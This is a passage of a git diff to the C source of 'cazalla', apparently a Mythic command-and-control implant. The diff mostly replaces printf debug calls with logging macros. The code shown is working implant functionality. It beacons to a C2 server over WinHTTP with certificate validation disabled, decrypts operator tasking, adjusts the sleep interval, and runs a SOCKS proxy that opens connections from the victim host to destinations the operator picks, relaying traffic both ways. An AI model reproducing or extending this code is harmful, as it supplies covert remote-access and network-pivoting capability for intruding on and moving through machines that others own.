{ - printf("[PAQUETE] WARNING: Response too short (%zu bytes), cannot check UUID\n", tamanoDecodificado); + _wrn("Response too short (%zu bytes), cannot check UUID", tamanoDecodificado); // Try decrypting anyway PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); if (tempParser) { @@ -427,16 +393,15 @@ PAnalizador mandarPaquete(PPaquete paquete) { tempParser->tamano = tamanoDecodificado; if (CryptoMythicDecryptParser(tempParser)) { - printf("[PAQUETE] Decryption succeeded for short response\n"); + _dbg("Decryption succeeded for short response"); datosDecodificados = tempParser->buffer; tamanoDecodificado = tempParser->tamano; } else { - printf("[PAQUETE] ERROR: Falló el descifrado\n"); + _err("Falló el descifrado"); } LocalFree(tempParser); } } - fflush(stdout); } // Reemplazar el buffer del analizador @@ -452,22 +417,18 @@ PAnalizador mandarPaquete(PPaquete paquete) { SIZE_T cursor = len - 5; BOOL found = FALSE; - printf("[PAQUETE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados\n", len); - fflush(stdout); + _dbg("Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados", len); // Buscar marcador desde el final while (cursor > 0 && cursor < len - 4) { if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) { - printf("[PAQUETE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor); - fflush(stdout); + _dbg("¡Marcador 0xF5 encontrado en offset %zu!", cursor); UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4]; - printf("[PAQUETE] Bloque SOCKS: ext_len=%u\n", ext_len); - fflush(stdout); + _dbg("Bloque SOCKS: ext_len=%u", ext_len); if (cursor + 5 + ext_len > len) { - printf("[PAQUETE] ERROR: bloque SOCKS truncado\n"); - fflush(stdout); + _err("bloque SOCKS truncado"); break; } @@ -490,17 +451,14 @@ PAnalizador mandarPaquete(PPaquete paquete) { if (b64str_socks) { memcpy(b64str_socks, buf + ecur, b64len); b64str_socks[b64len] = '\0'; - printf("[PAQUETE] Decodificando base64 SOCKS: %s\n", b64str_socks); - fflush(stdout); + _dbg("Decodificando base64 SOCKS: %s", b64str_socks); base64_decode(b64str_socks, &raw, &raw_len); - printf("[PAQUETE] Base64 SOCKS decodificado: %zu bytes\n", raw_len); - fflush(stdout); + _dbg("Base64 SOCKS decodificado: %zu bytes", raw_len); LocalFree(b64str_socks); } } - printf("[PAQUETE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len); - fflush(stdout); + _dbg("Procesando SOCKS incoming: sid=%u exit=%u len=%zu", sid, exitf, raw_len); socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len); if (raw) LocalFree(raw); @@ -509,8 +467,7 @@ PAnalizador mandarPaquete(PPaquete paquete) { // Remover bloque SOCKS del analizador respuesta->tamano = cursor; - printf("[PAQUETE] Bloque SOCKS procesado, tamaño ajustado a %zu\n", cursor); - fflush(stdout); + _dbg("Bloque SOCKS procesado, tamaño ajustado a %zu", cursor); found = TRUE; break; } @@ -518,13 +475,11 @@ PAnalizador mandarPaquete(PPaquete paquete) { } if (!found) { - printf("[PAQUETE] No se encontró bloque SOCKS\n"); - fflush(stdout); + _dbg("No se encontró bloque SOCKS"); } } } else { - printf("[PAQUETE] ERROR: fallo al decodificar base64\n"); - fflush(stdout); + _err("fallo al decodificar base64"); } LocalFree(base64str); } diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c index cf3c66f..3b46ea7 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c @@ -2,11 +2,6 @@ #include "cazalla.h" #include "socks_manager.h" -#ifdef DEBUG_SOCKS -#define DBG_PRINTF(...) do { fprintf(stderr, "[SLEEPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) -#else -#define DBG_PRINTF(...) ((void)0) -#endif BOOL sleep(PAnalizador argumentos) { @@ -42,13 +37,13 @@ BOOL sleep(PAnalizador argumentos) { /* Si el proxy SOCKS está activo, fuerza intervalos más cortos */ if (socks_proxy_active) { - DBG_PRINTF("SOCKS activo → ajustando sleep corto dinámico"); + _dbg("SOCKS activo → ajustando sleep corto dinámico"); if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos } cazallaConfig->tiempoSleep = tiempoSleep; - DBG_PRINTF("Nuevo tiempoSleep configurado: %u ms", tiempoSleep); + _dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep); /* respuesta al servidor */ PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c index 9f4c9e3..6d055cd 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/socks_manager.c @@ -26,11 +26,6 @@ #define CLOSESOCK(s) close(s) #endif -#ifdef DEBUG_SOCKS - #define DBG_PRINTF(...) do { fprintf(stderr, "[SOCKSDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) -#else - #define DBG_PRINTF(...) ((void)0) -#endif volatile int socks_proxy_active = 0; // Flag global de estado SOCKS @@ -71,7 +66,7 @@ static void lock_init_once(void) { /* === Inicialización / limpieza === */ void socks_manager_init(void) { - DBG_PRINTF("socks_manager_init()"); +_dbg("socks_manager_init()"); lock_init_once(); #ifdef _WIN32 WSADATA wsa; @@ -80,7 +75,7 @@ void socks_manager_init(void) { } void socks_manager_cleanup(void) { - DBG_PRINTF("socks_manager_cleanup()"); +_dbg("socks_manager_cleanup()"); #ifdef _WIN32 EnterCriticalSection(&conn_lock); #else @@ -152,7 +147,7 @@ static conn_entry_t* create_entry(uint32_t server_id, sock_t s) { #else pthread_mutex_unlock(&conn_lock); #endif - DBG_PRINTF("create_entry sid=%u sock=%d", server_id, (int)s); +_dbg("create_entry sid=%u sock=%d", server_id, (int)s); return e; } @@ -168,7 +163,7 @@ static void remove_entry(uint32_t server_id) { if (prev) prev->next = cur->next; else conn_list = cur->next; if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock); - DBG_PRINTF("remove_entry sid=%u", server_id); +_dbg("remove_entry sid=%u", server_id); free(cur); break; } @@ -185,8 +180,7 @@ static void remove_entry(uint32_t server_id) { /* === Cola de salida === */ static void enqueue_outgoing(socks_msg_t *m) { - printf("[SOCKS_MGR] enqueue_outgoing: sid=%u exit=%d len=%zu\n", m->server_id, m->exit_flag, m->data_len); - fflush(stdout); +_dbg("enqueue_outgoing: sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len); outgoing_node_t *n = malloc(sizeof(outgoing_node_t)); memset(n,0,sizeof(*n)); n->msg.server_id = m->server_id; @@ -209,18 +203,14 @@ static void enqueue_outgoing(socks_msg_t *m) { #else pthread_mutex_unlock(&out_lock); #endif - printf("[SOCKS_MGR] Mensaje encolado OK (sid=%u)\n", m->server_id); - fflush(stdout); - DBG_PRINTF("enqueue sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len); +_dbg("Mensaje encolado OK (sid=%u)", m->server_id); } /* === Volcado de cola de salida === */ void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) { - printf("[SOCKS_MGR] flush_outgoing: iniciando\n"); - fflush(stdout); +_dbg("flush_outgoing: iniciando"); if (!cb) { - printf("[SOCKS_MGR] ERROR: callback es NULL\n"); - fflush(stdout); + _err("ERROR: callback es NULL"); return; } #ifdef _WIN32 @@ -239,17 +229,15 @@ void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) { int count = 0; while (n) { count++; - printf("[SOCKS_MGR] flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)\n", - count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len); - fflush(stdout); +_dbg("flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)", + count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len); outgoing_node_t *next = n->next; cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx); if (n->msg.data) free(n->msg.data); free(n); n = next; } - printf("[SOCKS_MGR] flush_outgoing: completado (%d mensajes procesados)\n", count); - fflush(stdout); +_dbg("flush_outgoing: completado (%d mensajes procesados)", count); } /* === Base64 === */ @@ -298,39 +286,30 @@ DWORD WINAPI remote_reader_thread(LPVOID arg) { uint32_t sid = ra->server_id; sock_t s = ra->s; free(ra); - printf("[READER] Thread iniciado para sid=%u socket=%d\n", sid, (int)s); - fflush(stdout); +_dbg("Thread iniciado para sid=%u socket=%d", sid, (int)s); unsigned char buf[4096]; int loop_count = 0; while (1) { loop_count++; - printf("[READER] sid=%u loop #%d, llamando recv()...\n", sid, loop_count); - fflush(stdout); +_dbg("sid=%u loop #%d, llamando recv()...", sid, loop_count); int r = recv(s, (char*)buf, sizeof(buf), 0); - printf("[READER] sid=%u recv() retornó r=%d", sid, r); +_dbg("sid=%u recv() retornó r=%d", sid, r); if (r < 0) { int err = WSAGetLastError(); - printf(" WSAError=%d", err); +_dbg(" WSAError=%d", err); } - printf("\n"); - fflush(stdout); if (r <= 0) break; - printf("[READER] sid=%u recibió %d bytes, encolando...\n", sid, r); - fflush(stdout); - DBG_PRINTF("reader sid=%u recv=%d", sid, r); +_dbg("sid=%u recibió %d bytes, encolando...", sid, r); socks_msg_t m = {sid, 0, buf, (size_t)r}; enqueue_outgoing(&m); - printf("[READER] sid=%u datos encolados OK\n", sid); - fflush(stdout); +_dbg("sid=%u datos encolados OK", sid); } - printf("[READER] sid=%u salió del loop, cerrando socket\n", sid); - fflush(stdout); - DBG_PRINTF("reader sid=%u closing", sid); +_dbg("sid=%u salió del loop, cerrando socket", sid); +_dbg("reader sid=%u closing", sid); socks_msg_t m2 = {sid, 1, NULL, 0}; enqueue_outgoing(&m2); CLOSESOCK(s); - printf("[READER] Thread terminado para sid=%u\n", sid); - fflush(stdout); +_dbg("Thread terminado para sid=%u", sid); return 0; } #else @@ -343,11 +322,11 @@ static void* remote_reader_thread(void* arg) { while (1) { ssize_t r = recv(s, buf, sizeof(buf), 0); if (r <= 0) break; - DBG_PRINTF("reader sid=%u recv=%zd", sid, r); +_dbg("reader sid=%u recv=%zd", sid, r); socks_msg_t m = {sid, 0, buf, (size_t)r}; enqueue_outgoing(&m); } - DBG_PRINTF("reader sid=%u closing", sid); +_dbg("reader sid=%u closing", sid); socks_msg_t m2 = {sid, 1, NULL, 0}; enqueue_outgoing(&m2); CLOSESOCK(s); @@ -362,24 +341,20 @@ typedef struct { } socks_bound_addr_t; static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) { - printf("[SOCKS_MGR] connect_and_spawn_reader: dest=%s port=%u sid=%u\n", dest, port, server_id); - fflush(stdout); +_dbg("connect_and_spawn_reader: dest=%s port=%u sid=%u", dest, port, server_id); if (server_id == 0) { - printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id); - fflush(stdout); - DBG_PRINTF("invalid server_id=%u (ignored)", server_id); + _err("ERROR: invalid server_id=%u", server_id); +_dbg("invalid server_id=%u (ignored)", server_id); return -4; } - DBG_PRINTF("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id); +_dbg("connect_and_spawn_reader dest=%s port=%u sid=%u", dest, port, server_id); struct sockaddr_in sa; sock_t s = socket(AF_INET, SOCK_STREAM, 0); if (s == INVALID_SOCKET) { - printf("[SOCKS_MGR] ERROR: socket() failed\n"); - fflush(stdout); + _err("ERROR: socket() failed"); return -1; } - printf("[SOCKS_MGR] Socket creado OK\n"); - fflush(stdout); +_dbg("Socket creado OK"); memset(&sa,0,sizeof(sa)); sa.sin_family = AF_INET; sa.sin_port = htons(port); @@ -388,55 +363,46 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se unsigned long addr = inet_addr(dest); if (addr == INADDR_NONE) { /* No es una IP válida, intentar resolver como hostname */ - printf("[SOCKS_MGR] Resolviendo hostname: %s\n", dest); - fflush(stdout); +_dbg("Resolviendo hostname: %s", dest); struct hostent *h = gethostbyname(dest); if (!h) { - printf("[SOCKS_MGR] ERROR: gethostbyname failed\n"); - fflush(stdout); + _err("ERROR: gethostbyname failed"); CLOSESOCK(s); return -2; } sa.sin_addr = *(struct in_addr*)h->h_addr; - printf("[SOCKS_MGR] Hostname resuelto OK\n"); - fflush(stdout); +_dbg("Hostname resuelto OK"); } else { /* Es una IP válida */ sa.sin_addr.s_addr = addr; } - printf("[SOCKS_MGR] Conectando a %s:%u...\n", dest, port); - fflush(stdout); +_dbg("Conectando a %s:%u...", dest, port); if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) { - printf("[SOCKS_MGR] ERROR: connect() failed errno=%d\n", errno); - fflush(stdout); - DBG_PRINTF("connect() failed errno=%d", errno); + _err("ERROR: connect() failed errno=%d", errno); +_dbg("connect() failed errno=%d", errno); CLOSESOCK(s); return -3; } - printf("[SOCKS_MGR] Conexión exitosa!\n"); - fflush(stdout); +_dbg("Conexión exitosa!"); /* Guardar la dirección bound (la IP/puerto del destino conectado) */ if (bound) { bound->ipv4 = sa.sin_addr.s_addr; // ya en network byte order bound->port = sa.sin_port; // ya en network byte order - printf("[SOCKS_MGR] Bound addr: %08X:%u\n", ntohl(bound->ipv4), ntohs(bound->port)); - fflush(stdout); +_dbg("Bound addr: %08X:%u", ntohl(bound->ipv4), ntohs(bound->port)); } /* timeout para evitar bloqueo indefinido */ int timeout_ms = 15000; // 15s setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (const char*)&timeout_ms, sizeof(timeout_ms)); - DBG_PRINTF("socket timeout set %d ms", timeout_ms); +_dbg("socket timeout set %d ms", timeout_ms); - printf("[SOCKS_MGR] Creando entry para sid=%u\n", server_id); - fflush(stdout); +_dbg("Creando entry para sid=%u", server_id); create_entry(server_id, s); #ifdef _WIN32 reader_args_t *ra = malloc(sizeof(reader_args_t)); ra->server_id = server_id; ra->s = s; - printf("[SOCKS_MGR] Creando thread lector para sid=%u\n", server_id); - fflush(stdout); +_dbg("Creando thread lector para sid=%u", server_id); CreateThread(NULL,0, remote_reader_thread, ra, 0, NULL); #else pthread_t tid; @@ -445,26 +411,22 @@ static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t se pthread_create(&tid, NULL, remote_reader_thread, ra); pthread_detach(tid); #endif - printf("[SOCKS_MGR] connect_and_spawn_reader completado OK para sid=%u\n", server_id); - fflush(stdout); +_dbg("connect_and_spawn_reader completado OK para sid=%u", server_id); return 0; } /* === Procesamiento principal === */ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len) { - printf("[SOCKS_MGR] process_incoming: sid=%u exit=%d len=%zu\n", server_id, exit_flag, data_len); - fflush(stdout); - DBG_PRINTF("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len); +_dbg("process_incoming: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len); +_dbg("incoming sid=%u exit=%d len=%zu", server_id, exit_flag, data_len); if (server_id == 0) { - printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id); - fflush(stdout); - DBG_PRINTF("invalid server_id=%u", server_id); + _err("ERROR: invalid server_id=%u", server_id); +_dbg("invalid server_id=%u", server_id); return -4; } if (exit_flag) { - printf("[SOCKS_MGR] Exit flag set, removiendo entry sid=%u\n", server_id); - fflush(stdout); +_dbg("Exit flag set, removiendo entry sid=%u", server_id); remove_entry(server_id); socks_msg_t m = {server_id, 1, NULL, 0}; enqueue_outgoing(&m); @@ -475,20 +437,17 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi if (!e) { char dest[256]; uint16_t dport=0; int r = parse_socks5_connect(data, data_len, dest, sizeof(dest), &dport); - printf("[SOCKS_MGR] Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u\n", server_id, r, dest, dport); - fflush(stdout); - DBG_PRINTF("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport); +_dbg("Nueva conexión: sid=%u parse_rc=%d dest=%s port=%u", server_id, r, dest, dport); +_dbg("sid=%u new conn parse_rc=%d dest=%s port=%u", server_id, r, dest, dport); if (r != 0) return -1; socks_bound_addr_t bound; memset(&bound, 0, sizeof(bound)); int rc = connect_and_spawn_reader(dest, dport, server_id, &bound); - printf("[SOCKS_MGR] connect_and_spawn_reader rc=%d\n", rc); - fflush(stdout); - DBG_PRINTF("connect_and_spawn_reader rc=%d", rc); +_dbg("connect_and_spawn_reader rc=%d", rc); +_dbg("connect_and_spawn_reader rc=%d", rc); if (rc != 0) { - printf("[SOCKS_MGR] ERROR: connect_and_spawn_reader falló con rc=%d\n", rc); - fflush(stdout); + _err("ERROR: connect_and_spawn_reader falló con rc=%d", rc); return -2; } @@ -503,30 +462,24 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi /* Copiar puerto (2 bytes en network byte order) */ memcpy(&reply[8], &bound.port, 2); - printf("[SOCKS_MGR] Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u\n", - server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port)); - fflush(stdout); +_dbg("Enviando respuesta SOCKS (10 bytes) a sid=%u con bound %u.%u.%u.%u:%u", + server_id, reply[4], reply[5], reply[6], reply[7], ntohs(bound.port)); socks_msg_t m = {server_id, 0, reply, sizeof(reply)}; enqueue_outgoing(&m); - printf("[SOCKS_MGR] Respuesta SOCKS encolada para sid=%u\n", server_id); - fflush(stdout); +_dbg("Respuesta SOCKS encolada para sid=%u", server_id); return 0; } else { - printf("[SOCKS_MGR] Entry encontrada para sid=%u, enviando %zu bytes al socket remoto\n", server_id, data_len); - fflush(stdout); +_dbg("Entry encontrada para sid=%u, enviando %zu bytes al socket remoto", server_id, data_len); if (e->sock != INVALID_SOCKET) { size_t total = 0; while (total < data_len) { - printf("[SOCKS_MGR] sid=%u enviando %zu bytes (total=%zu de %zu)\n", server_id, data_len - total, total, data_len); - fflush(stdout); +_dbg("sid=%u enviando %zu bytes (total=%zu de %zu)", server_id, data_len - total, total, data_len); int w = send(e->sock, (const char*)(data + total), (int)(data_len - total), 0); - printf("[SOCKS_MGR] sid=%u send() retornó w=%d\n", server_id, w); - fflush(stdout); +_dbg("sid=%u send() retornó w=%d", server_id, w); if (w <= 0) { - printf("[SOCKS_MGR] ERROR: send() falló para sid=%u, cerrando conexión\n", server_id); - fflush(stdout); - DBG_PRINTF("send error sid=%u w=%d", server_id, w); + _err("send() falló para sid=%u, cerrando conexión", server_id); +_dbg("send error sid=%u w=%d", server_id, w); remove_entry(server_id); socks_msg_t m = {server_id, 1, NULL, 0}; enqueue_outgoing(&m); @@ -534,13 +487,11 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi } total += w; } - printf("[SOCKS_MGR] sid=%u enviados %zu bytes OK\n", server_id, data_len); - fflush(stdout); - DBG_PRINTF("sent %zu bytes sid=%u", data_len, server_id); +_dbg("sid=%u enviados %zu bytes OK", server_id, data_len); +_dbg("sent %zu bytes sid=%u", data_len, server_id); return 0; } else { - printf("[SOCKS_MGR] ERROR: socket inválido para sid=%u\n", server_id); - fflush(stdout); + _err("socket inválido para sid=%u", server_id); return -2; } } @@ -549,13 +500,13 @@ int socks_manager_process_incoming(uint32_t server_id, int exit_flag, const unsi /* === Stubs start/stop === */ int socks_manager_start_proxy(uint16_t local_port) { socks_proxy_active = 1; - DBG_PRINTF("socks_manager_start_proxy port=%u (active)", local_port); +_dbg("socks_manager_start_proxy port=%u (active)", local_port); (void)local_port; return 0; } int socks_manager_stop_proxy(void) { - DBG_PRINTF("socks_manager_stop_proxy()"); +_dbg("socks_manager_stop_proxy()"); socks_proxy_active = 0; #ifdef _WIN32 EnterCriticalSection(&conn_lock); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c index 41abf43..f5e6ada 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c @@ -8,11 +8,6 @@ #define WINHTTP_OPTION_ENABLE_SSL_REVOCATION 70 #endif -#ifdef DEBUG_SOCKS -#define DBG_PRINTF(...) do { fprintf(stderr, "[TRPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0) -#else -#define DBG_PRINTF(...) ((void)0) -#endif /* ======================================================= Obtener código de estado HTTP @@ -39,8 +34,7 @@ static VOID procesarSocksEntrante(PAnalizador respuesta) { Petición HTTP (envío + recepción) ======================================================= */ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { - printf("[TRANSPORTE] realizarPeticionHTTP() bufferLen=%u\n", bufferLen); - fflush(stdout); + _dbg("realizarPeticionHTTP() bufferLen=%u", bufferLen); HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; @@ -65,28 +59,22 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { httpFlags |= WINHTTP_FLAG_SECURE; } - printf("[TRANSPORTE] WinHttpOpen()\n"); - fflush(stdout); + _dbg("WinHttpOpen()"); hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); if (!hSesion) { - printf("[TRANSPORTE] ERROR: WinHttpOpen falló (%lu)\n", GetLastError()); - fflush(stdout); + _err("WinHttpOpen falló (%lu)", GetLastError()); return NULL; } - printf("[TRANSPORTE] WinHttpOpen OK\n"); - fflush(stdout); + _dbg("WinHttpOpen OK"); - printf("[TRANSPORTE] WinHttpConnect() host=%ls port=%d\n", cazallaConfig->hostName, cazallaConfig->puertoHttp); - fflush(stdout); + _dbg("WinHttpConnect() host=%ls port=%d", cazallaConfig->hostName, cazallaConfig->puertoHttp); hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); if (!hConexion) { - printf("[TRANSPORTE] ERROR: WinHttpConnect falló (%lu)\n", GetLastError()); - fflush(stdout); + _err("WinHttpConnect falló (%lu)", GetLastError()); WinHttpCloseHandle(hSesion); return NULL; } - printf("[TRANSPORTE] WinHttpConnect OK\n"); - fflush(stdout); + _dbg("WinHttpConnect OK"); // Log complete URL - ensure endpoint starts with / wchar_t endpointBuf[256]; @@ -101,36 +89,29 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { cazallaConfig->hostName, cazallaConfig->puertoHttp, endpointBuf); - printf("[TRANSPORTE] Complete URL: %ls\n", urlBuffer); - fflush(stdout); + _dbg("Complete URL: %ls", urlBuffer); - printf("[TRANSPORTE] WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x\n", - endpointBuf, cazallaConfig->metodoHttp, httpFlags); - fflush(stdout); + _dbg("WinHttpOpenRequest() endpoint=%ls method=%ls flags=0x%x", + endpointBuf, cazallaConfig->metodoHttp, httpFlags); hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, endpointBuf, NULL, NULL, NULL, httpFlags); if (!hPeticion) { - printf("[TRANSPORTE] ERROR: WinHttpOpenRequest falló (%lu)\n", GetLastError()); - fflush(stdout); + _err("WinHttpOpenRequest falló (%lu)", GetLastError()); WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hSesion); return NULL; } - printf("[TRANSPORTE] WinHttpOpenRequest OK\n"); - fflush(stdout); + _dbg("WinHttpOpenRequest OK"); if (cazallaConfig->SSL) { - printf("[TRANSPORTE] Configurando opciones SSL\n"); - fflush(stdout); + _dbg("Configurando opciones SSL"); DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; if (!WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD))) { - printf("[TRANSPORTE] WARNING: WinHttpSetOption SECURITY_FLAGS falló (%lu)\n", GetLastError()); - fflush(stdout); + _wrn("WinHttpSetOption SECURITY_FLAGS falló (%lu)", GetLastError()); } else { - printf("[TRANSPORTE] SSL flags configurados OK\n"); - fflush(stdout); + _dbg("SSL flags configurados OK"); } // También configurar para deshabilitar revocación de certificados @@ -147,8 +128,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { } } - printf("[TRANSPORTE] Enviando %u bytes de datos codificados\n", bufferLen); - fflush(stdout); + _dbg("Enviando %u bytes de datos codificados", bufferLen); // Log first 100 bytes of data being sent (base64 preview) if (bufferLen > 0 && bufferIn) { @@ -156,40 +136,33 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { size_t previewLen = bufferLen > 100 ? 100 : bufferLen; memcpy(preview, bufferIn, previewLen); preview[previewLen] = '\0'; - printf("[TRANSPORTE] Data preview (first %zu bytes): %s\n", previewLen, preview); + _dbg("Data preview (first %zu bytes): %s", previewLen, preview); if (bufferLen > 100) { - printf("[TRANSPORTE] ... (total %u bytes, showing first 100)\n", bufferLen); + _dbg("... (total %u bytes, showing first 100)", bufferLen); } - fflush(stdout); } if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { - printf("[TRANSPORTE] ERROR: WinHttpSendRequest falló (%lu)\n", GetLastError()); - fflush(stdout); + _err("WinHttpSendRequest falló (%lu)", GetLastError()); WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hSesion); return NULL; } - printf("[TRANSPORTE] WinHttpSendRequest OK\n"); - fflush(stdout); + _dbg("WinHttpSendRequest OK"); - printf("[TRANSPORTE] Esperando respuesta...\n"); - fflush(stdout); + _dbg("Esperando respuesta..."); if (!WinHttpReceiveResponse(hPeticion, NULL)) { - printf("[TRANSPORTE] ERROR: WinHttpReceiveResponse falló (%lu)\n", GetLastError()); - fflush(stdout); + _err("WinHttpReceiveResponse falló (%lu)", GetLastError()); WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hSesion); return NULL; } - printf("[TRANSPORTE] WinHttpReceiveResponse OK\n"); - fflush(stdout); + _dbg("WinHttpReceiveResponse OK"); codigoDeEstado = obtenerCodigoDeEstado(hPeticion); - printf("[TRANSPORTE] HTTP status = %lu\n", codigoDeEstado); - fflush(stdout); + _dbg("HTTP status = %lu", codigoDeEstado); // Try to get response headers for debugging if (codigoDeEstado != 200) { @@ -197,26 +170,23 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { DWORD headerSize = sizeof(headers) / sizeof(wchar_t); if (WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_RAW_HEADERS_CRLF, WINHTTP_HEADER_NAME_BY_INDEX, headers, &headerSize, WINHTTP_NO_HEADER_INDEX)) { - printf("[TRANSPORTE] Response headers:\n"); - printf("[TRANSPORTE] %ls\n", headers); + _dbg("Response headers:"); + _dbg("%ls", headers); } else { - printf("[TRANSPORTE] Could not retrieve response headers (error: %lu)\n", GetLastError()); + _wrn("Could not retrieve response headers (error: %lu)", GetLastError()); } - fflush(stdout); } if (codigoDeEstado != 200) { - printf("[TRANSPORTE] ERROR: HTTP status no OK --> %lu\n", codigoDeEstado); - printf("[TRANSPORTE] Request URL was: %ls\n", urlBuffer); - printf("[TRANSPORTE] Request size was: %u bytes\n", bufferLen); - fflush(stdout); + _err("HTTP status no OK --> %lu", codigoDeEstado); + _err("Request URL was: %ls", urlBuffer); + _err("Request size was: %u bytes", bufferLen); WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hSesion); return NULL; } - printf("[TRANSPORTE] HTTP status OK (200)\n"); - fflush(stdout); + _dbg("HTTP status OK (200)"); do { dwTamano = 1024; @@ -236,13 +206,11 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { : LocalAlloc(LPTR, respSize); memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); - printf("[TRANSPORTE] Recibidos %u bytes (%lu totales)\n", dwDescargado, respSize); - fflush(stdout); + _dbg("Recibidos %u bytes (%lu totales)", dwDescargado, respSize); memset(buffer, 0, sizeof(buffer)); } while (dwTamano > 0); - printf("[TRANSPORTE] Respuesta total %lu bytes\n", respSize); - fflush(stdout); + _dbg("Respuesta total %lu bytes", respSize); WinHttpCloseHandle(hPeticion); WinHttpCloseHandle(hConexion); WinHttpCloseHandle(hSesion); @@ -253,8 +221,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { /* NOTA: El parsing del bloque SOCKS se hace DESPUÉS de decodificar base64 en paquete.c */ /* Aquí solo devolvemos el analizador con los datos base64-encoded */ - printf("[TRANSPORTE] realizarPeticionHTTP() completado\n"); - fflush(stdout); + _dbg("realizarPeticionHTTP() completado"); return analizador; } @@ -263,8 +230,7 @@ Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { ======================================================= */ Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { #ifdef HTTP_TRANSPORT - printf("[TRANSPORTE] mandarYRecibir() len=%zu\n", tamano); - fflush(stdout); + 